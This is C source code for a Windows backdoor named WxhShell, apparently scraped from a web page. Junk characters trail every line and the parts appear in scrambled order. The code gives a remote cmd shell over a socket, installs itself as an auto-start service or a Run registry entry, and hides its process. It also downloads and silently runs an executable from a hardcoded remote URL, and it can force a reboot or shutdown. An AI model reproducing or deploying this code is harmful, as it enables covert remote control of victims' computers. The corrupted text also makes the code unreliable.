    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sH^?v0^a  
    if(Boot(SHUTDOWN)) S+i .@N.^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NMSpi[dr  
    else { yqg&dq  
    closesocket(wsh); i w,F)O  
    ExitThread(0); ,sAN,?eG~  
    } !  Z e  
    break; fs]9HK/@\  
    } 2C@hjw(  
  // 获取shell IH$R X GL  
  case 's': { "CEy r0h  
    CmdShell(wsh); q4k)E  
    closesocket(wsh); ~IHjj1s  
    ExitThread(0); "EoC7 1  
    break; (1bz.N8z  
  } dYg}qad5:  
  // 退出 I5"ew=x#  
  case 'x': { ${$XJs4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -DO*,Eecv  
    CloseIt(wsh); eQk ~YA]K  
    break; \ B~9Ue!  
    } /`iBv8!  
  // 离开 -R!qDA"  
  case 'q': { SL;\S74  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $*| :A  
    closesocket(wsh); o6pnTu  
    WSACleanup(); )Oq N\  
    exit(1); 1i}Rc:  
    break; vqLC?{i+  
        } b$sw`Rsw  
  } eSynw$F2N  
  } &jgpeFiiC  
JM{S49Lx  
  // 提示信息 G"jKYW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Q,-ZM=Z_p  
} b 2n.v.$G  
  } [L1pDICoy  
{& G7 Xa  
  return; lKs*KwG  
} pb`F_->uq  
eI?<*  
// shell模块句柄 r)<]W@ Pr  
int CmdShell(SOCKET sock) 8uoFV=bj\  
{ p(MhDS\J  
STARTUPINFO si; eL9 RrSXz  
ZeroMemory(&si,sizeof(si)); U">D_ 8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (US]e un  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KO(+%>^R  
PROCESS_INFORMATION ProcessInfo; )t{oyBT  
char cmdline[]="cmd"; zIWw055W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); euM7> $`  
  return 0; Qi|jL*mj&  
} Cz x U @  
vV1F|  
// 自身启动模式 ]#N2:ych  
int StartFromService(void) fGJPZe  
{ :W,6zv(..u  
typedef struct 4VPL -":6  
{ `pF|bZ?v  
  DWORD ExitStatus; B:5( sK  
  DWORD PebBaseAddress; >2`)S{pBD  
  DWORD AffinityMask; s;q]:+#7g  
  DWORD BasePriority; .]%PnJM9K  
  ULONG UniqueProcessId; JxI}#iA  
  ULONG InheritedFromUniqueProcessId; ,FX;-nP%  
}   PROCESS_BASIC_INFORMATION; } ab@Nd$  
C$\|eC j  
PROCNTQSIP NtQueryInformationProcess; .ps'{rl8  
;rpjXP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pt;E~_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i$)bZr\  
0\%/:2   
  HANDLE             hProcess; h@FDP#H  
  PROCESS_BASIC_INFORMATION pbi; "K`B'/08^  
zcD&xoL\H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =6imrRaaV  
  if(NULL == hInst ) return 0; n'0^l?V  
r]?ZXe$;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -Ep cX!i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3N(s)N_P M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r#*kx#"  
vmL% %7  
  if (!NtQueryInformationProcess) return 0; kVw5z3]Xg  
:Ts"f*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2V_C_5)1  
  if(!hProcess) return 0; Bv \ihUg/  
E"bYl3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `C`CU?D  
C_=! ( @`8  
  CloseHandle(hProcess); fLL_{o0T  
!Sfy'v.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [Rw0']i`4  
if(hProcess==NULL) return 0; )Y RVy  
$n& alcU  
HMODULE hMod; CE-ySIa  
char procName[255]; <",4O  
unsigned long cbNeeded; u_s  
f:\jPkf'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ra<mdteZT  
g e:UliHJ  
  CloseHandle(hProcess); sXOGIv  
aiGT!2  
if(strstr(procName,"services")) return 1; // 以服务启动 ct=|y(_  
12DMb9_rp  
  return 0; // 注册表启动 g<{/mxv/  
} #sdW3m_%  
qlD+[`=b  
// 主模块 pa Uh+"y>  
int StartWxhshell(LPSTR lpCmdLine) 5:E7nqsNhq  
{ c 6@!?8J  
  SOCKET wsl; Bx0^?>  
BOOL val=TRUE; 6tB-  
  int port=0; 0*YLFqN  
  struct sockaddr_in door; a h>k=t8(  
r<cyxR~  
  if(wscfg.ws_autoins) Install(); ZN-J!e"`  
@4Z>;  
port=atoi(lpCmdLine); /lkIbmV  
n c:^)G  
if(port<=0) port=wscfg.ws_port; o Q I3Yz  
&^FCp'J-  
  WSADATA data; q0{KYWOvk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hc2[,Hju{O  
o{pQDI {R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q\&FuU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wQWokpP;T7  
  door.sin_family = AF_INET; ZXljCiNn+\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g* F?  
  door.sin_port = htons(port); i%+cPQ^o  
'A .c*<_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $r*7)/  
closesocket(wsl); [?iA`#^d  
return 1; p;`jmF   
} ^ '!]|^  
8<t6_* f  
  if(listen(wsl,2) == INVALID_SOCKET) { xu(5U`K  
closesocket(wsl); )Q9m,/F  
return 1; y[Zl,v7  
} Or= [2@Wg  
  Wxhshell(wsl); I8@NQ=UV0  
  WSACleanup(); SkBa- *MC  
f@l$52f3D  
return 0; I-oI,c%+  
>[B}eS>  
} QCQku\GLV  
vBx*bZ  
// 以NT服务方式启动 _*h,,Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N ncur]  
{ Er^ijh,  
DWORD   status = 0; fu'iG7U M  
  DWORD   specificError = 0xfffffff; zQM3n =y  
]\w0u7}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a_XM2dc%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; } NW^?37  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0H,1"~,w]  
  serviceStatus.dwWin32ExitCode     = 0; )QEvV:\  
  serviceStatus.dwServiceSpecificExitCode = 0; xZW6Hk _  
  serviceStatus.dwCheckPoint       = 0; (iM"ug2  
  serviceStatus.dwWaitHint       = 0; IXNcn@tN  
8rwkux >  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?9xaBWf  
  if (hServiceStatusHandle==0) return; S/G6NBnbS  
90L,.  
status = GetLastError(); ?rID fEvV  
  if (status!=NO_ERROR) &S}%)g%Iv9  
{ n_\V G[f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Qg;A (\z  
    serviceStatus.dwCheckPoint       = 0; |#8u:rguy  
    serviceStatus.dwWaitHint       = 0; T`KH7y|bv  
    serviceStatus.dwWin32ExitCode     = status; sG`||Kb;n  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0yr=$F(]s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s8Kf$E^?e.  
    return; +6 t<FH  
  } E;$)Oz  
HKr")K%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e\x=4i  
  serviceStatus.dwCheckPoint       = 0; uqwB`<>KJ  
  serviceStatus.dwWaitHint       = 0; y>wrm:b-O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1| "s_m>g  
} 6, \i0y5n  
HPl!r0 h  
// 处理NT服务事件,比如:启动、停止 KD?~ hpg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RNGTSz  
{ d2lOx|jt  
switch(fdwControl) &EKP93  
{ v(D{_  
case SERVICE_CONTROL_STOP: ;@p2s'(  
  serviceStatus.dwWin32ExitCode = 0; ._@Scd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4q#6.E;yy  
  serviceStatus.dwCheckPoint   = 0; Jcf'Zw"\  
  serviceStatus.dwWaitHint     = 0; RK?b/9y  
  { fD+'{ivN4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TY~8`+bJ  
  } {wMw$Fvf  
  return; 9 2_F8y*D  
case SERVICE_CONTROL_PAUSE: YSwAu,$jf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hZ2!UW4'  
  break; iTsmUq<b]l  
case SERVICE_CONTROL_CONTINUE: ^|y6oj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wy6>^_z  
  break; &No6k~T0:b  
case SERVICE_CONTROL_INTERROGATE: UMR0S5`}  
  break; <>$`vuU  
}; K=Z~$)Og)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xLX<. z!r  
} Jj+|>(P  
lJ.:5$2H  
// 标准应用程序主函数 W^; wr#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KrE:ilm#^Y  
{ "?EoYF_  
gTWl];xja  
// 获取操作系统版本 -1).'aJ^  
OsIsNt=GetOsVer();  z}\TS.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )6U&^9=  
2RXU75VY  
  // 从命令行安装 ucP}( $  
  if(strpbrk(lpCmdLine,"iI")) Install(); +U/+iI>0  
1A\Jh3;Q  
  // 下载执行文件 O8:$sei$  
if(wscfg.ws_downexe) { u&Q2/Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L,#ij!txS  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q\>9PKK  
} eh_ {-  
SK f9 yS#  
if(!OsIsNt) { '>dsROB->  
// 如果时win9x,隐藏进程并且设置为注册表启动 |uo<<-\jTO  
HideProc(); x +Vp&  
StartWxhshell(lpCmdLine); !K a!f1  
} l`c&nf6  
else R3+y*< <e  
  if(StartFromService()) pvCn+y/U;  
  // 以服务方式启动 :m*r( i3  
  StartServiceCtrlDispatcher(DispatchTable); 2{ ^k*Cfd  
else bOR1V\Jr$q  
  // 普通方式启动 *L_+rJj,  
  StartWxhshell(lpCmdLine); IG@.WsM_  
P.^%8L  
return 0; #B7_5y^  
} 0}:- t^P  
r ;:5P%:  
Q/[|/uNw?  
xb/L AlJ  
=========================================== 9W{`$30  
hE.NW  
I| j Gu9G  
l)y$c}U  
N"-</kzV  
xEv]V L:  
" &"!s+_  
qMy>: ,)Z  
#include <stdio.h> v:otR%yt  
#include <string.h> Gvg)@VNr  
#include <windows.h> 'iy &%?  
#include <winsock2.h> f-6hcd@Ca  
#include <winsvc.h> kmHIU}Z  
#include <urlmon.h> 5 9$B z'LY  
^7Sk`V  
#pragma comment (lib, "Ws2_32.lib") }yM /z  
#pragma comment (lib, "urlmon.lib") aju!Aq54G  
r!Ujy .R  
#define MAX_USER   100 // 最大客户端连接数 ]fc9m~0N,\  
#define BUF_SOCK   200 // sock buffer  P%#WeQ+  
#define KEY_BUFF   255 // 输入 buffer s$g"6;_\  
+ 3+^J?N  
#define REBOOT     0   // 重启 r\6 "mU  
#define SHUTDOWN   1   // 关机 }bj dK  
3`y9V2&b  
#define DEF_PORT   5000 // 监听端口 ;r(hZ%pD  
Y@)iPK@z  
#define REG_LEN     16   // 注册表键长度 );4lM%]eb  
#define SVC_LEN     80   // NT服务名长度 q ld2<W  
Z";~]]$!Y  
// 从dll定义API V&7jd7 2{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gFk~SJd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r!/=Iy@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c%2C\UB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H JFt{tq2  
G$X+g{  
// wxhshell配置信息 C$MaJHkiF  
struct WSCFG { s>}ScJZK  
  int ws_port;         // 监听端口 ?m&?BsW$)  
  char ws_passstr[REG_LEN]; // 口令 r;3{%S._  
  int ws_autoins;       // 安装标记, 1=yes 0=no !>$tRW?gH~  
  char ws_regname[REG_LEN]; // 注册表键名 qU!*QZ^y&  
  char ws_svcname[REG_LEN]; // 服务名 T /iKz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &Nf10%J'<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S}=d74(/n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DDdMWH^o7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o *5<Cxg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" unE h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8K qrB!  
Z i-)PK^  
}; $JKR,   
Q;p?.GI?-  
// default Wxhshell configuration F,2)Udim  
struct WSCFG wscfg={DEF_PORT, U1pL `P1  
    "xuhuanlingzhe", Uloa]X=Im8  
    1, F+.:Ry FS  
    "Wxhshell", p|mt2oDjw  
    "Wxhshell", HWe?vz$4"  
            "WxhShell Service", 9 yH/5'  
    "Wrsky Windows CmdShell Service", @4h{#  
    "Please Input Your Password: ", an+`>}]F  
  1, g'G"`)~ 2  
  "http://www.wrsky.com/wxhshell.exe", (_^pX  
  "Wxhshell.exe" nSxFz!  
    }; @ eQIwz  
 /[f9Z:>V  
// 消息定义模块 6?-vj2,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fVCpG~&t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]Lg$p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <0,c{e  
char *msg_ws_ext="\n\rExit."; Q v/}WnBk  
char *msg_ws_end="\n\rQuit."; 32[lsU>1  
char *msg_ws_boot="\n\rReboot..."; yp%7zrU  
char *msg_ws_poff="\n\rShutdown..."; n[Jpy[4g  
char *msg_ws_down="\n\rSave to "; iN\D`9e  
n[#!Q`D  
char *msg_ws_err="\n\rErr!"; ~9.0:Fm<  
char *msg_ws_ok="\n\rOK!"; --SlxV/x  
(<f`}, QxD  
char ExeFile[MAX_PATH]; zcCX;N  
int nUser = 0; jOs&E^">&B  
HANDLE handles[MAX_USER]; KCR6@{@  
int OsIsNt; ^6=y4t=%F  
<ptZY.8N  
SERVICE_STATUS       serviceStatus; =n_r\z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z1j3F  
}:UNL^e?  
// 函数声明 U8_<?Hd  
int Install(void); E0XfM B]+  
int Uninstall(void); Q[t|+RNKv2  
int DownloadFile(char *sURL, SOCKET wsh); OZ2gIK  
int Boot(int flag); uveby:dh  
void HideProc(void); s)HLFdis@  
int GetOsVer(void); p<#WueR[  
int Wxhshell(SOCKET wsl); OQt_nb#z`{  
void TalkWithClient(void *cs); qx3@]9  
int CmdShell(SOCKET sock);  Dh=?Hzw  
int StartFromService(void); -ea":}/  
int StartWxhshell(LPSTR lpCmdLine); (=n{LMa  
m22FOjk\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B5'-v%YO+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gh3b*O_,  
jqULg iC  
// 数据结构和表定义 "8{#R*p  
SERVICE_TABLE_ENTRY DispatchTable[] = _tJp@\rOz=  
{ BeAkG_uG  
{wscfg.ws_svcname, NTServiceMain}, 5>{S^i~!  
{NULL, NULL} G:'hT=8  
}; ^m ^4LDt  
Y.9s-g  
// 自我安装 0[(TrIpXl  
int Install(void) oWg"f*  
{ EqW/Wxv7b  
  char svExeFile[MAX_PATH]; xY] Y  
  HKEY key; `acX1YWh5  
  strcpy(svExeFile,ExeFile); B(+J?0Dj  
.xnJT2uu'  
// 如果是win9x系统,修改注册表设为自启动 koQ\]t'*As  
if(!OsIsNt) { u-yVc*<,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >K<n~;ON|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X=QaTV  
  RegCloseKey(key); J]|Zh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XxXMtiZ6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pc"g  
  RegCloseKey(key); /G}TPXA  
  return 0; 565UxG }  
    } h B@M5Mc$  
  } 7OF6;@<  
} OsQB` D  
else { g<ZB9;FX %  
ozF173iI  
// 如果是NT以上系统,安装为系统服务 0O,Q]P 82f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r$7zk<01  
if (schSCManager!=0) [nL{n bli  
{ mU d['Z  
  SC_HANDLE schService = CreateService uvbXsO"z]]  
  ( <d&9`e1Hc  
  schSCManager, QQ1|]/)  
  wscfg.ws_svcname, }q-*Ls~  
  wscfg.ws_svcdisp, h^Bp^V5#  
  SERVICE_ALL_ACCESS, C"X; ,F<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S5a?KU  
  SERVICE_AUTO_START, 3m2hB%SNb  
  SERVICE_ERROR_NORMAL, -SF *DZ  
  svExeFile, 'fIBJ3s[o  
  NULL, x^0MEsR  
  NULL, j>D[iHrH  
  NULL, _VvXE572  
  NULL, K<#Q;(SFU  
  NULL m+Um^:\jX  
  ); c-?2>%;(V  
  if (schService!=0) +;@p'af!9  
  { \xtY\q,[  
  CloseServiceHandle(schService); I=vGS  
  CloseServiceHandle(schSCManager); y9/x:n&]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oQsls9t  
  strcat(svExeFile,wscfg.ws_svcname); Hi V7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "$@Wy,yp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zQPQP`  
  RegCloseKey(key); !Z0p94L  
  return 0; &_1Ivaen6  
    } vC j, aSW  
  } T/9`VB%N  
  CloseServiceHandle(schSCManager); "}91wfG9  
} G\\0N^v  
} ggQBQ/ L  
:4HZ >!i  
return 1; z8 n=\xL  
} TmH'_t.*T~  
 *|OP>N  
// 自我卸载 =~|:93]k  
int Uninstall(void) 0q4E^}iR  
{ :\Pk>a  
  HKEY key; rhr(uCp/  
\H6[6*JuB  
if(!OsIsNt) { B#Q=Fo 6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @0v%5@  
  RegDeleteValue(key,wscfg.ws_regname); <E&[sQ|3  
  RegCloseKey(key); &IZthJqV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "{1SDbwmMo  
  RegDeleteValue(key,wscfg.ws_regname); q.GA\o  
  RegCloseKey(key); ytsPk2@WR  
  return 0; `8D)j>Yh~  
  } jdEqa$CXG  
} -_4ZT^.Lna  
} O]/BNacS  
else { -\2T(3P  
5VLJ:I?0O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c^%vyBMY  
if (schSCManager!=0) sy s6 V?  
{ Y)7LkZO(y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^o|Gx  
  if (schService!=0) i^O(JC  
  { rNl` w.  
  if(DeleteService(schService)!=0) { E+tV7xa~  
  CloseServiceHandle(schService); ;DG&HO   
  CloseServiceHandle(schSCManager); G\I DgPj`  
  return 0; L'KgB=5K&i  
  } ?F!='6D}b  
  CloseServiceHandle(schService); uy t'  
  } >&`S$1 o  
  CloseServiceHandle(schSCManager); "=/YPw^0  
} uPvE;E_  
} =Eimbk  
SFaG`T=  
return 1; ;`(l)X+7  
} 2rG;j52))a  
*It`<F|  
// 从指定url下载文件 >bo_  
int DownloadFile(char *sURL, SOCKET wsh) L6jD4ec8  
{ Px$4.b[{_Y  
  HRESULT hr; ]a ,H!0i  
char seps[]= "/"; mh8{`W&  
char *token; yH:gFEJ:x  
char *file; MD 62ObK!  
char myURL[MAX_PATH]; /3>5ex>PN  
char myFILE[MAX_PATH]; SD=kpf;  
555*IT3b  
strcpy(myURL,sURL); 6(9S'~*'R  
  token=strtok(myURL,seps); E/Ng   
  while(token!=NULL) ~dpU D F  
  { L]_1z  
    file=token; ^kElb;d  
  token=strtok(NULL,seps); ,o\-'   
  } ,{tK{XpS  
L+rMBa  
GetCurrentDirectory(MAX_PATH,myFILE); ];n3H~2  
strcat(myFILE, "\\"); ;YYo^9Lh}  
strcat(myFILE, file);  r*gQGvc  
  send(wsh,myFILE,strlen(myFILE),0); T/b%,!N)  
send(wsh,"...",3,0); 4J"S?HsW|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  #"6O3.P  
  if(hr==S_OK) &/}reE*  
return 0; X`n)]~  
else uq~Z  
return 1; y7?n;3U]CS  
v_7?Zik8E  
} (#t"u`_Ee  
Y<"BhE  
// 系统电源模块 ?m RGFS  
int Boot(int flag) bIR&e E  
{ U<aT%^_  
  HANDLE hToken; zlw+=NX  
  TOKEN_PRIVILEGES tkp; Wvg+5Q  
DF>LN%a~  
  if(OsIsNt) { a fOix"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XlPi)3m4/S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wTu_Am  
    tkp.PrivilegeCount = 1; zHEH?xZ6sD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PU"C('AP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zFn!>Tqe  
if(flag==REBOOT) { Tgf#I*(^]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |v'_Co0ki  
  return 0; WFYbmfmV  
} Ep.Q&(D >  
else { O :'ENoQ:&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zn=Ifz)#|  
  return 0; rQuozbBb  
} `~0^fSww  
  } u@"nVHgMJ  
  else { H;eGBVi  
if(flag==REBOOT) { 9HtzBS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IO*}N"  
  return 0; b!h*I>`  
} OrZ=-9"  
else { ]WO0v`xh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7;w x,7CUq  
  return 0; T&ECGF;Y/  
} C`++r>  
} N>+s8L.?  
vz[-8m:f  
return 1; 0# )I :5  
} [b=l'e/  
vq.~8c1  
// win9x进程隐藏模块 qId-v =L  
void HideProc(void) GW29Rj1  
{ LhfI"fc  
/F(wb_!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s%{8$> 8V.  
  if ( hKernel != NULL ) n)n>|w_  
  { n{b(~eL?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @jKiE%OP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w[WyT`6h!  
    FreeLibrary(hKernel); {Xc^-A[~  
  } V[w Y;wj  
IQ5H`o?[B  
return; T~238C{vh  
} N`G* h^YQ  
RSK~<Y@]q{  
// 获取操作系统版本 zE~{}\J  
int GetOsVer(void) T;4& ^5 n  
{ ;T9u$4 <  
  OSVERSIONINFO winfo; |qn`z-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }k`-n32)|  
  GetVersionEx(&winfo); n%SR5+N"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fku\O<1  
  return 1; wc&`/'<p  
  else yU e7o4Zm  
  return 0; F7FUoew<  
} 86bRfW'  
<~%e{F:[#  
// 客户端句柄模块 .tg2HKD_lW  
int Wxhshell(SOCKET wsl) eaG_)y  
{ !4"!PrZDB  
  SOCKET wsh; vxey $Ir  
  struct sockaddr_in client; jGeil qPC  
  DWORD myID; _F2 R x@Y  
b`lLqV<[cB  
  while(nUser<MAX_USER) MRI`h.  
{ Wk0"U V  
  int nSize=sizeof(client); lj U|9|v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )&nfV5@"  
  if(wsh==INVALID_SOCKET) return 1; b3h3$kIYN  
fP:n=A{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^`HP&V  
if(handles[nUser]==0) &n}eF-  
  closesocket(wsh); xw>\6VNt  
else }o'WR'LX  
  nUser++; E#0_y4  
  } _#jR6g TY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hk +@ngh%  
aJ4y%Gy?  
  return 0; s`Y8 &e.Yr  
} SZ;Is,VgU4  
&F8N$H  
// 关闭 socket +K@wh  
void CloseIt(SOCKET wsh) z;V Ai=m q  
{ ,?3)L   
closesocket(wsh); y<h~jz#hkq  
nUser--; $4*wK@xu  
ExitThread(0); mmJ$+$JEk  
} aw3 oG?3I  
8iB}gHe9  
// 客户端请求句柄 9On0om>  
void TalkWithClient(void *cs) THOXs; k0  
{ f4b`*KGf  
RRasX;zK  
  SOCKET wsh=(SOCKET)cs; 4P>4d +  
  char pwd[SVC_LEN]; 8B*XXFy\  
  char cmd[KEY_BUFF]; si!jB%^  
char chr[1]; 0+iaO"%  
int i,j; #77p>zhY  
&nRbI:R  
  while (nUser < MAX_USER) { .#4;em%7  
(FY<% .Pa  
if(wscfg.ws_passstr) { 6>hW.aq}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yp;6.\Z8[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G2,9$8qE  
  //ZeroMemory(pwd,KEY_BUFF); tn\PxT  
      i=0; BM }{};p6  
  while(i<SVC_LEN) { /`2t$71)  
KkCA*GS  
  // 设置超时 pE~>k:  
  fd_set FdRead;  av!'UZP  
  struct timeval TimeOut; Za>0&Fnf  
  FD_ZERO(&FdRead); "Q[rM1R  
  FD_SET(wsh,&FdRead); JDI1l_Ga  
  TimeOut.tv_sec=8; ,lUroO^^  
  TimeOut.tv_usec=0; [8h~:.d`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JtB]EvpL}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s^QXCmb$8  
@j{n V@|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); in[yrqFb7t  
  pwd=chr[0]; mjI $z3  
  if(chr[0]==0xd || chr[0]==0xa) {  &3:U&}I  
  pwd=0; d*===~  
  break; Ibbpy++d[  
  } kuZs30^  
  i++; [3~mil3rO  
    } -!s?d5k")  
R|,F C'  
  // 如果是非法用户,关闭 socket PIthv [F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m|%L[h1  
} !ot$Q  
"(QI7:iM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8euh]+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'y? HF@NJ  
EYaX@|)  
while(1) { -:jC.} Y  
G^6\OOSy  
  ZeroMemory(cmd,KEY_BUFF); Cr;d !=  
)yyS59s  
      // 自动支持客户端 telnet标准   Qt VZ)777  
  j=0; yClbM5,  
  while(j<KEY_BUFF) { % njcWVP;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *qN (_  
  cmd[j]=chr[0]; * SHQ[L4{  
  if(chr[0]==0xa || chr[0]==0xd) { z"*$ .  
  cmd[j]=0; U*R  
  break; ZBf9Upg  
  } $mF(6<w  
  j++; ja Ot"iU.B  
    } /`x)B(b  
[-pB}1Dxb  
  // 下载文件 =JK# "'  
  if(strstr(cmd,"http://")) { =#Qm D=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;xl_9Ht/  
  if(DownloadFile(cmd,wsh)) ud @7%%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zm9_[0  
  else e|~s'{3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zr1,A#BV  
